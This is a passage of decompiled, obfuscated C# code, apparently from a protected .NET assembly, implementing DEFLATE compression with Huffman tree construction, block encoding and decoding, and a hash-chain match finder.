index7 >> 9] = (short) (index5 << 4 | index6); index7 += 1 << index6; } while (index7 < num9); } numArray2[index6] = num1 + (1 << 16 - index6); } } } catch (Exception ex) { object[] objArray = new object[21] { (object) numArray1, (object) numArray2, (object) index1, (object) index2, (object) num1, (object) length, (object) index3, (object) num2, (object) num3, (object) num4, (object) index4, (object) num5, (object) num6, (object) num7, (object) index5, (object) index6, (object) index7, (object) num8, (object) num9, (object) this, (object) obj0 }; throw UnhandledException.\u0003(ex, objArray); } } public int \u0003([In] \u0006.\u0002 obj0) { int index; int num1; int num2; int num3; int num4; int num5; try { if ((index = obj0.\u0003(9)) >= 0) { if ((num1 = (int) this.\u0001[index]) >= 0) { obj0.\u0003(num1 & 15); return num1 >> 4; } num2 = -(num1 >> 4); num3 = num1 & 15; if ((index = obj0.\u0003(num3)) >= 0) { num1 = (int) this.\u0001[num2 | index >> 9]; obj0.\u0003(num1 & 15); return num1 >> 4; } num4 = obj0.\u0003(); index = obj0.\u0003(num4); num1 = (int) this.\u0001[num2 | index >> 9]; if ((num1 & 15) > num4) return -1; obj0.\u0003(num1 & 15); return num1 >> 4; } num5 = obj0.\u0003(); index = obj0.\u0003(num5); num1 = (int) this.\u0001[index]; if (num1 < 0 || (num1 & 15) > num5) return -1; obj0.\u0003(num1 & 15); return num1 >> 4; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) index; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) num3; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) num4; // ISSUE: variable of a boxed type __Boxed local6 = (ValueType) num5; \u0006.\u0002 obj = obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj); } } } internal sealed class \u0005 { private static readonly int[] \u0001; private static readonly int[] \u0002; private byte[] \u0001; private byte[] \u0002; private \u0006.\u0004 \u0001; private int \u0001; private int \u0002; private int \u0003; private int \u0004; private int \u0005; private int \u0006; private byte \u0001; private int \u0007; private static readonly int[] \u0003; public \u0005() { try { } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public bool \u0003([In] \u0006.\u0002 obj0) { int num1; int num2; int num3; byte num4; int num5; int num6; int num7; int num8; try { while (true) { num8 = this.\u0001; switch (num8) { case 0: this.\u0002 = obj0.\u0003(5); if (this.\u0002 >= 0) { this.\u0002 += 257; obj0.\u0003(5); this.\u0001 = 1; goto case 1; } else goto label_2; case 1: this.\u0003 = obj0.\u0003(5); if (this.\u0003 >= 0) { ++this.\u0003; obj0.\u0003(5); this.\u0005 = this.\u0002 + this.\u0003; this.\u0002 = new byte[this.\u0005]; this.\u0001 = 2; goto case 2; } else goto label_5; case 2: this.\u0004 = obj0.\u0003(4); if (this.\u0004 >= 0) { this.\u0004 += 4; obj0.\u0003(4); this.\u0001 = new byte[19]; this.\u0007 = 0; this.\u0001 = 3; goto case 3; } else goto label_8; case 3: for (; this.\u0007 < this.\u0004; ++this.\u0007) { num1 = obj0.\u0003(3); if (num1 < 0) return false; obj0.\u0003(3); this.\u0001[\u0006.\u0005.\u0003[this.\u0007]] = (byte) num1; } this.\u0001 = new \u0006.\u0004(this.\u0001); this.\u0001 = (byte[]) null; this.\u0007 = 0; this.\u0001 = 4; goto case 4; case 4: while (((num3 = this.\u0001.\u0003(obj0)) & -16) == 0) { byte[] numArray = this.\u0002; num2 = this.\u0007++; int index = num2; this.\u0001 = num4 = (byte) num3; int num9 = (int) num4; numArray[index] = (byte) num9; if (this.\u0007 == this.\u0005) return true; } if (num3 >= 0) { if (num3 >= 17) this.\u0001 = (byte) 0; this.\u0006 = num3 - 16; this.\u0001 = 5; goto case 5; } else goto label_19; case 5: num5 = \u0006.\u0005.\u0002[this.\u0006]; num6 = obj0.\u0003(num5); if (num6 >= 0) { obj0.\u0003(num5); num6 += \u0006.\u0005.\u0001[this.\u0006]; while (num6-- > 0) { byte[] numArray = this.\u0002; num7 = this.\u0007++; int index = num7; int num10 = (int) this.\u0001; numArray[index] = (byte) num10; } if (this.\u0007 != this.\u0005) { this.\u0001 = 4; continue; } goto label_29; } else goto label_24; default: continue; } } label_2: return false; label_5: return false; label_8: return false; label_19: return false; label_24: return false; label_29: return true; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num3; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num5; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) num6; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) num8; // ISSUE: variable of a boxed type __Boxed local6 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local7 = (ValueType) num4; // ISSUE: variable of a boxed type __Boxed local8 = (ValueType) num7; \u0006.\u0002 obj = obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) local7, (object) local8, (object) this, (object) obj); } } public \u0006.\u0004 \u0003() { byte[] destinationArray; try { destinationArray = new byte[this.\u0002]; Array.Copy((Array) this.\u0002, 0, (Array) destinationArray, 0, this.\u0002); return new \u0006.\u0004(destinationArray); } catch (Exception ex) { byte[] numArray = destinationArray; throw UnhandledException.\u0003(ex, (object) numArray, (object) this); } } public \u0006.\u0004 \u0004() { byte[] destinationArray; try { destinationArray = new byte[this.\u0003]; Array.Copy((Array) this.\u0002, this.\u0002, (Array) destinationArray, 0, this.\u0003); return new \u0006.\u0004(destinationArray); } catch (Exception ex) { byte[] numArray = destinationArray; throw UnhandledException.\u0003(ex, (object) numArray, (object) this); } } static \u0005() { try { \u0006.\u0005.\u0001 = new int[3] { 3, 3, 11 }; \u0006.\u0005.\u0002 = new int[3]{ 2, 3, 7 }; \u0006.\u0005.\u0003 = new int[19] { 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15 }; } catch (Exception ex) { throw UnhandledException.\u0003(ex); } } } internal sealed class \u0006 { private int \u0001 = 16; private long \u0001; private \u0006.\u000E \u0001; private \u0006.\u0008 \u0001; public \u0006() { try { this.\u0001 = new \u0006.\u000E(); this.\u0001 = new \u0006.\u0008(this.\u0001); } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } [SpecialName] public long \u0003() { try { return this.\u0001; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public void \u0003() { try { this.\u0001 |= 12; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } [SpecialName] public bool \u0003() { try { return this.\u0001 == 30 && this.\u0001.\u0003(); } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } [SpecialName] public bool \u0004() { try { return this.\u0001.\u0003(); } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public void \u0003([In] byte[] obj0) { try { this.\u0001.\u0003(obj0); } catch (Exception ex) { byte[] numArray = obj0; throw UnhandledException.\u0003(ex, (object) this, (object) numArray); } } public int \u0003([In] byte[] obj0) { int length; int num1; int num2; int num3; int num4; try { num2 = 0; length = obj0.Length; num1 = length; while (true) { do { do { num3 = this.\u0001.\u0003(obj0, num2, length); num2 += num3; this.\u0001 += (long) num3; length -= num3; if (length == 0 || this.\u0001 == 30) goto label_12; } while (this.\u0001.\u0004((this.\u0001 & 4) != 0, (this.\u0001 & 8) != 0)); if (this.\u0001 == 16) return num1 - length; if (this.\u0001 == 20) { for (num4 = 8 + (-this.\u0001.\u0003() & 7); num4 > 0; num4 -= 10) this.\u0001.\u0003(2, 10); this.\u0001 = 16; } } while (this.\u0001 != 28); this.\u0001.\u0003(); this.\u0001 = 30; } label_12: return num1 - length; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) length; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) num3; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) num4; byte[] numArray = obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this, (object) numArray); } } } internal sealed class \u0007 { private static int \u0001; private static int \u0002; private static int \u0003; private static int \u0004; private static int \u0005; private static int \u0006; private static int \u0007; private static int \u0008; private static int[] \u0001; private static byte[] \u0001; private \u0006.\u000E \u0001; private \u0006.\u0007.\u0001 \u0001; private \u0006.\u0007.\u0001 \u0002; private \u0006.\u0007.\u0001 \u0003; private short[] \u0001; private byte[] \u0002; private int \u000E; private int \u000F; private static short[] \u0002; private static byte[] \u0003; private static short[] \u0003; private static byte[] \u0004; public static short \u0003([In] int obj0) { try { return (short) ((int) \u0006.\u0007.\u0001[obj0 & 15] << 12 | (int) \u0006.\u0007.\u0001[obj0 >> 4 & 15] << 8 | (int) \u0006.\u0007.\u0001[obj0 >> 8 & 15] << 4 | (int) \u0006.\u0007.\u0001[obj0 >> 12]); } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) local); } } static \u0007() { int index; try { \u0006.\u0007.\u0001 = 16384; \u0006.\u0007.\u0002 = 286; \u0006.\u0007.\u0003 = 30; \u0006.\u0007.\u0004 = 19; \u0006.\u0007.\u0005 = 16; \u0006.\u0007.\u0006 = 17; \u0006.\u0007.\u0007 = 18; \u0006.\u0007.\u0008 = 256; \u0006.\u0007.\u0001 = new int[19] { 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15 }; \u0006.\u0007.\u0001 = new byte[16] { (byte) 0, (byte) 8, (byte) 4, (byte) 12, (byte) 2, (byte) 10, (byte) 6, (byte) 14, (byte) 1, (byte) 9, (byte) 5, (byte) 13, (byte) 3, (byte) 11, (byte) 7, (byte) 15 }; \u0006.\u0007.\u0002 = new short[\u0006.\u0007.\u0002]; \u0006.\u0007.\u0003 = new byte[\u0006.\u0007.\u0002]; for (index = 0; index < 144; \u0006.\u0007.\u0003[index++] = (byte) 8) \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(48 + index << 8); for (; index < 256; \u0006.\u0007.\u0003[index++] = (byte) 9) \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(256 + index << 7); for (; index < 280; \u0006.\u0007.\u0003[index++] = (byte) 7) \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(index - 256 << 9); for (; index < \u0006.\u0007.\u0002; \u0006.\u0007.\u0003[index++] = (byte) 8) \u0006.\u0007.\u0002[index] = \u0006.\u0007.\u0003(index - 88 << 8); \u0006.\u0007.\u0003 = new short[\u0006.\u0007.\u0003]; \u0006.\u0007.\u0004 = new byte[\u0006.\u0007.\u0003]; for (index = 0; index < \u0006.\u0007.\u0003; ++index) { \u0006.\u0007.\u0003[index] = \u0006.\u0007.\u0003(index << 11); \u0006.\u0007.\u0004[index] = (byte) 5; } } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local = (ValueType) index; throw UnhandledException.\u0003(ex, (object) local); } } public \u0007([In] \u0006.\u000E obj0) { try { this.\u0001 = obj0; this.\u0001 = new \u0006.\u0007.\u0001(this, \u0006.\u0007.\u0002, 257, 15); this.\u0002 = new \u0006.\u0007.\u0001(this, \u0006.\u0007.\u0003, 1, 15); this.\u0003 = new \u0006.\u0007.\u0001(this, \u0006.\u0007.\u0004, 4, 7); this.\u0001 = new short[\u0006.\u0007.\u0001]; this.\u0002 = new byte[\u0006.\u0007.\u0001]; } catch (Exception ex) { \u0006.\u000E obj = obj0; throw UnhandledException.\u0003(ex, (object) this, (object) obj); } } public void \u0003() { try { this.\u000E = 0; this.\u000F = 0; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } private int \u0003([In] int obj0) { int num; try { if (obj0 == (int) byte.MaxValue) return 285; num = 257; for (; obj0 >= 8; obj0 >>= 1) num += 4; return num + obj0; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2); } } private int \u0004([In] int obj0) { int num; try { num = 0; for (; obj0 >= 4; obj0 >>= 1) num += 2; return num + obj0; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2); } } public void \u0003([In] int obj0) { int index; try { this.\u0003.\u0003(); this.\u0001.\u0003(); this.\u0002.\u0003(); this.\u0001.\u0003(this.\u0001.\u0002 - 257, 5); this.\u0001.\u0003(this.\u0002.\u0002 - 1, 5); this.\u0001.\u0003(obj0 - 4, 4); for (index = 0; index < obj0; ++index) this.\u0001.\u0003((int) this.\u0003.\u0001[\u0006.\u0007.\u0001[index]], 3); this.\u0001.\u0004(this.\u0003); this.\u0002.\u0004(this.\u0003); } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) index; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2); } } public void \u0004() { int num1; int index; int num2; int num3; int num4; int num5; try { for (index = 0; index < this.\u000E; ++index) { num1 = (int) this.\u0002[index] & (int) byte.MaxValue; num2 = (int) this.\u0001[index]; if (num2-- != 0) { num3 = this.\u0003(num1); this.\u0001.\u0003(num3); num4 = (num3 - 261) / 4; if (num4 > 0 && num4 <= 5) this.\u0001.\u0003(num1 & (1 << num4) - 1, num4); num5 = this.\u0004(num2); this.\u0002.\u0003(num5); num4 = num5 / 2 - 1; if (num4 > 0) this.\u0001.\u0003(num2 & (1 << num4) - 1, num4); } else this.\u0001.\u0003(num1); } this.\u0001.\u0003(\u0006.\u0007.\u0008); } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) index; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) num3; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) num4; // ISSUE: variable of a boxed type __Boxed local6 = (ValueType) num5; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this); } } public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] bool obj3) { try { this.\u0001.\u0003(obj3 ? 1 : 0, 3); this.\u0001.\u0003(); this.\u0001.\u0003(obj2); this.\u0001.\u0003(~obj2); this.\u0001.\u0003(obj0, obj1, obj2); this.\u0003(); } catch (Exception ex) { byte[] numArray = obj0; // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) obj1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj3; throw UnhandledException.\u0003(ex, (object) this, (object) numArray, (object) local1, (object) local2, (object) local3); } } public void \u0004([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] bool obj3) { int num1; int index1; int num2; int num3; int index2; int index3; try { ++this.\u0001.\u0001[\u0006.\u0007.\u0008]; this.\u0001.\u0004(); this.\u0002.\u0004(); this.\u0001.\u0003(this.\u0003); this.\u0002.\u0003(this.\u0003); this.\u0003.\u0004(); num1 = 4; for (index1 = 18; index1 > num1; --index1) { if (this.\u0003.\u0001[\u0006.\u0007.\u0001[index1]] > (byte) 0) num1 = index1 + 1; } num2 = 14 + num1 * 3 + this.\u0003.\u0003() + this.\u0001.\u0003() + this.\u0002.\u0003() + this.\u000F; num3 = this.\u000F; for (index2 = 0; index2 < \u0006.\u0007.\u0002; ++index2) num3 += (int) this.\u0001.\u0001[index2] * (int) \u0006.\u0007.\u0003[index2]; for (index3 = 0; index3 < \u0006.\u0007.\u0003; ++index3) num3 += (int) this.\u0002.\u0001[index3] * (int) \u0006.\u0007.\u0004[index3]; if (num2 >= num3) num2 = num3; if (obj1 >= 0 && obj2 + 4 < num2 >> 3) this.\u0003(obj0, obj1, obj2, obj3); else if (num2 == num3) { this.\u0001.\u0003(2 + (obj3 ? 1 : 0), 3); this.\u0001.\u0003(\u0006.\u0007.\u0002, \u0006.\u0007.\u0003); this.\u0002.\u0003(\u0006.\u0007.\u0003, \u0006.\u0007.\u0004); this.\u0004(); this.\u0003(); } else { this.\u0001.\u0003(4 + (obj3 ? 1 : 0), 3); this.\u0003(num1); this.\u0004(); this.\u0003(); } } catch (Exception ex) { object[] objArray = new object[11] { (object) num1, (object) index1, (object) num2, (object) num3, (object) index2, (object) index3, (object) this, (object) obj0, (object) obj1, (object) obj2, (object) obj3 }; throw UnhandledException.\u0003(ex, objArray); } } public bool \u0003() { try { return this.\u000E >= \u0006.\u0007.\u0001; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public bool \u0003([In] int obj0) { int num1; try { this.\u0001[this.\u000E] = (short) 0; byte[] numArray = this.\u0002; num1 = this.\u000E++; int index = num1; int num2 = (int) (byte) obj0; numArray[index] = (byte) num2; ++this.\u0001.\u0001[obj0]; return this.\u0003(); } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2); } } public bool \u0003([In] int obj0, [In] int obj1) { int num1; int index1; int index2; try { this.\u0001[this.\u000E] = (short) obj0; byte[] numArray = this.\u0002; num1 = this.\u000E++; int index3 = num1; int num2 = (int) (byte) (obj1 - 3); numArray[index3] = (byte) num2; index1 = this.\u0003(obj1 - 3); ++this.\u0001.\u0001[index1]; if (index1 >= 265 && index1 < 285) this.\u000F += (index1 - 261) / 4; index2 = this.\u0004(obj0 - 1); ++this.\u0002.\u0001[index2]; if (index2 >= 4) this.\u000F += index2 / 2 - 1; return this.\u0003(); } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) index1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) index2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) obj0; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) obj1; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) local4, (object) local5); } } public sealed class \u0001 { public short[] \u0001; public byte[] \u0001; public int \u0001; public int \u0002; private short[] \u0002; private int[] \u0001; private int \u0003; private \u0006.\u0007 \u0001; public \u0001([In] \u0006.\u0007 obj0, [In] int obj1, [In] int obj2, [In] int obj3) { try { this.\u0001 = obj0; this.\u0001 = obj2; this.\u0003 = obj3; this.\u0001 = new short[obj1]; this.\u0001 = new int[obj3]; } catch (Exception ex) { \u0006.\u0007 obj = obj0; // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) obj1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj3; throw UnhandledException.\u0003(ex, (object) this, (object) obj, (object) local1, (object) local2, (object) local3); } } public void \u0003([In] int obj0) { try { this.\u0001.\u0001.\u0003((int) this.\u0002[obj0] & (int) ushort.MaxValue, (int) this.\u0001[obj0]); } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) this, (object) local); } } public void \u0003([In] short[] obj0, [In] byte[] obj1) { try { this.\u0002 = obj0; this.\u0001 = obj1; } catch (Exception ex) { short[] numArray1 = obj0; byte[] numArray2 = obj1; throw UnhandledException.\u0003(ex, (object) this, (object) numArray1, (object) numArray2); } } public void \u0003() { int num1; int index1; int[] numArray1; int index2; int num2; try { int length = this.\u0001.Length; numArray1 = new int[this.\u0003]; num1 = 0; this.\u0002 = new short[this.\u0001.Length]; for (index1 = 0; index1 < this.\u0003; ++index1) { numArray1[index1] = num1; num1 += this.\u0001[index1] << 15 - index1; } for (index2 = 0; index2 < this.\u0002; ++index2) { num2 = (int) this.\u0001[index2]; if (num2 > 0) { this.\u0002[index2] = \u0006.\u0007.\u0003(numArray1[num2 - 1]); numArray1[num2 - 1] += 1 << 16 - num2; } } } catch (Exception ex) { int[] numArray2 = numArray1; // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) index1; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) index2; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) num2; throw UnhandledException.\u0003(ex, (object) numArray2, (object) local1, (object) local2, (object) local3, (object) local4, (object) this); } } private void \u0003([In] int[] obj0) { int length; int num1; int num2; int index1; int[] numArray1; int index2; int num3; int num4; int num5; int index3; int num6; int num7; int num8; int index4; try { this.\u0001 = new byte[this.\u0001.Length]; length = obj0.Length / 2; num1 = (length + 1) / 2; num2 = 0; for (index1 = 0; index1 < this.\u0003; ++index1) this.\u0001[index1] = 0; numArray1 = new int[length]; numArray1[length - 1] = 0; for (index2 = length - 1; index2 >= 0; --index2) { if (obj0[2 * index2 + 1] != -1) { num3 = numArray1[index2] + 1; if (num3 > this.\u0003) { num3 = this.\u0003; ++num2; } int[] numArray2 = numArray1; int index5 = obj0[2 * index2]; numArray1[obj0[2 * index2 + 1]] = num4 = num3; int num9 = num4; numArray2[index5] = num9; } else { num5 = numArray1[index2]; ++this.\u0001[num5 - 1]; this.\u0001[obj0[2 * index2]] = (byte) numArray1[index2]; } } if (num2 == 0) return; index3 = this.\u0003 - 1; do { do ; while (this.\u0001[--index3] == 0); do { --this.\u0001[index3]; ++this.\u0001[++index3]; num2 -= 1 << this.\u0003 - 1 - index3; } while (num2 > 0 && index3 < this.\u0003 - 1); } while (num2 > 0); this.\u0001[this.\u0003 - 1] += num2; this.\u0001[this.\u0003 - 2] -= num2; num6 = 2 * num1; for (num7 = this.\u0003; num7 != 0; --num7) { num8 = this.\u0001[num7 - 1]; while (num8 > 0) { index4 = 2 * obj0[num6++]; if (obj0[index4 + 1] == -1) { this.\u0001[obj0[index4]] = (byte) num7; --num8; } } } } catch (Exception ex) { object[] objArray = new object[16] { (object) length, (object) num1, (object) num2, (object) index1, (object) numArray1, (object) index2, (object) num3, (object) num5, (object) index3, (object) num6, (object) num7, (object) num8, (object) index4, (object) num4, (object) this, (object) obj0 }; throw UnhandledException.\u0003(ex, objArray); } } public void \u0004() { int[] numArray1; int num1; int num2; int index1; int num3; int index2; int index3; int length; int num4; int num5; int[] numArray2; int[] numArray3; int num6; int index4; int index5; int index6; int index7; int index8; int index9; int num7; int index10; int num8; try { length = this.\u0001.Length; numArray1 = new int[length]; num1 = 0; num2 = 0; for (index1 = 0; index1 < length; ++index1) { num3 = (int) this.\u0001[index1]; if (num3 != 0) { for (index2 = num1++; index2 > 0 && (int) this.\u0001[numArray1[index3 = (index2 - 1) / 2]] > num3; index2 = index3) numArray1[index2] = numArray1[index3]; numArray1[index2] = index1; num2 = index1; } } for (; num1 < 2; numArray1[num1++] = num4) { int num9; if (num2 >= 2) num9 = 0; else num2 = num9 = num2 + 1; num4 = num9; } this.\u0002 = Math.Max(num2 + 1, this.\u0001); num5 = num1; numArray2 = new int[4 * num1 - 2]; numArray3 = new int[2 * num1 - 1]; num6 = num5; for (index4 = 0; index4 < num1; ++index4) { index5 = numArray1[index4]; numArray2[2 * index4] = index5; numArray2[2 * index4 + 1] = -1; numArray3[index4] = (int) this.\u0001[index5] << 8; numArray1[index4] = index4; } do { index6 = numArray1[0]; index7 = numArray1[--num1]; index8 = 0; for (index9 = 1; index9 < num1; index9 = index9 * 2 + 1) { if (index9 + 1 < num1 && numArray3[numArray1[index9]] > numArray3[numArray1[index9 + 1]]) ++index9; numArray1[index8] = numArray1[index9]; index8 = index9; } num7 = numArray3[index7]; while ((index9 = index8) > 0 && numArray3[numArray1[index8 = (index9 - 1) / 2]] > num7) numArray1[index9] = numArray1[index8]; numArray1[index9] = index7; index10 = numArray1[0]; index7 = num6++; numArray2[2 * index7] = index6; numArray2[2 * index7 + 1] = index10; num8 = Math.Min(numArray3[index6] & (int) byte.MaxValue, numArray3[index10] & (int) byte.MaxValue); numArray3[index7] = num7 = numArray3[index6] + numArray3[index10] - num8 + 1; index8 = 0; for (index9 = 1; index9 < num1; index9 = index8 * 2 + 1) { if (index9 + 1 < num1 && numArray3[numArray1[index9]] > numArray3[numArray1[index9 + 1]]) ++index9; numArray1[index8] = numArray1[index9]; index8 = index9; } while ((index9 = index8) > 0 && numArray3[numArray1[index8 = (index9 - 1) / 2]] > num7) numArray1[index9] = numArray1[index8]; numArray1[index9] = index7; } while (num1 > 1); this.\u0003(numArray2); } catch (Exception ex) { object[] objArray = new object[23] { (object) length, (object) numArray1, (object) num1, (object) num2, (object) index1, (object) num3, (object) index2, (object) index3, (object) num4, (object) num5, (object) numArray2, (object) numArray3, (object) num6, (object) index4, (object) index5, (object) index6, (object) index7, (object) index8, (object) index9, (object) num7, (object) index10, (object) num8, (object) this }; throw UnhandledException.\u0003(ex, objArray); } } public int \u0003() { int index; int num; try { num = 0; for (index = 0; index < this.\u0001.Length; ++index) num += (int) this.\u0001[index] * (int) this.\u0001[index]; return num; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) index; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this); } } public void \u0003([In] \u0006.\u0007.\u0001 obj0) { int index1; int index2; int num1; int num2; int index3; int num3; try { index3 = -1; index1 = 0; while (index1 < this.\u0002) { num3 = 1; index2 = (int) this.\u0001[index1]; if (index2 == 0) { num1 = 138; num2 = 3; } else { num1 = 6; num2 = 3; if (index3 != index2) { ++obj0.\u0001[index2]; num3 = 0; } } index3 = index2; ++index1; while (index1 < this.\u0002 && index3 == (int) this.\u0001[index1]) { ++index1; if (++num3 >= num1) break; } if (num3 < num2) obj0.\u0001[index3] += (short) num3; else if (index3 != 0) ++obj0.\u0001[\u0006.\u0007.\u0005]; else if (num3 <= 10) ++obj0.\u0001[\u0006.\u0007.\u0006]; else ++obj0.\u0001[\u0006.\u0007.\u0007]; } } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num3; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) index3; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) index1; // ISSUE: variable of a boxed type __Boxed local6 = (ValueType) index2; \u0006.\u0007.\u0001 obj = obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj); } } public void \u0004([In] \u0006.\u0007.\u0001 obj0) { int index; int num1; int num2; int num3; int num4; int num5; try { num4 = -1; index = 0; while (index < this.\u0002) { num5 = 1; num1 = (int) this.\u0001[index]; if (num1 == 0) { num2 = 138; num3 = 3; } else { num2 = 6; num3 = 3; if (num4 != num1) { obj0.\u0003(num1); num5 = 0; } } num4 = num1; ++index; while (index < this.\u0002 && num4 == (int) this.\u0001[index]) { ++index; if (++num5 >= num2) break; } if (num5 < num3) { while (num5-- > 0) obj0.\u0003(num4); } else if (num4 != 0) { obj0.\u0003(\u0006.\u0007.\u0005); this.\u0001.\u0001.\u0003(num5 - 3, 2); } else if (num5 <= 10) { obj0.\u0003(\u0006.\u0007.\u0006); this.\u0001.\u0001.\u0003(num5 - 3, 3); } else { obj0.\u0003(\u0006.\u0007.\u0007); this.\u0001.\u0001.\u0003(num5 - 11, 7); } } } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num3; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num5; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) num4; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) index; // ISSUE: variable of a boxed type __Boxed local6 = (ValueType) num1; \u0006.\u0007.\u0001 obj = obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj); } } } } internal sealed class \u0008 { private static int \u0001; private int \u0002; private short[] \u0001; private short[] \u0002; private int \u0003; private int \u0004; private bool \u0001; private int \u0005; private int \u0006; private int \u0007; private byte[] \u0001; private byte[] \u0002; private int \u0008; private int \u000E; private int \u000F; private \u0006.\u000E \u0001; private \u0006.\u0007 \u0001; public \u0008([In] \u0006.\u000E obj0) { int num; try { this.\u0001 = obj0; this.\u0001 = new \u0006.\u0007(obj0); this.\u0001 = new byte[65536]; this.\u0001 = new short[32768]; this.\u0002 = new short[32768]; this.\u0006 = num = 1; this.\u0005 = num; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local = (ValueType) num; \u0006.\u000E obj = obj0; throw UnhandledException.\u0003(ex, (object) local, (object) this, (object) obj); } } private void \u0003() { try { this.\u0002 = (int) this.\u0001[this.\u0006] << 5 ^ (int) this.\u0001[this.\u0006 + 1]; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } private int \u0003() { int index; short num; try { index = (this.\u0002 << 5 ^ (int) this.\u0001[this.\u0006 + 2]) & (int) short.MaxValue; this.\u0002[this.\u0006 & (int) short.MaxValue] = num = this.\u0001[index]; this.\u0001[index] = (short) this.\u0006; this.\u0002 = index; return (int) num & (int) 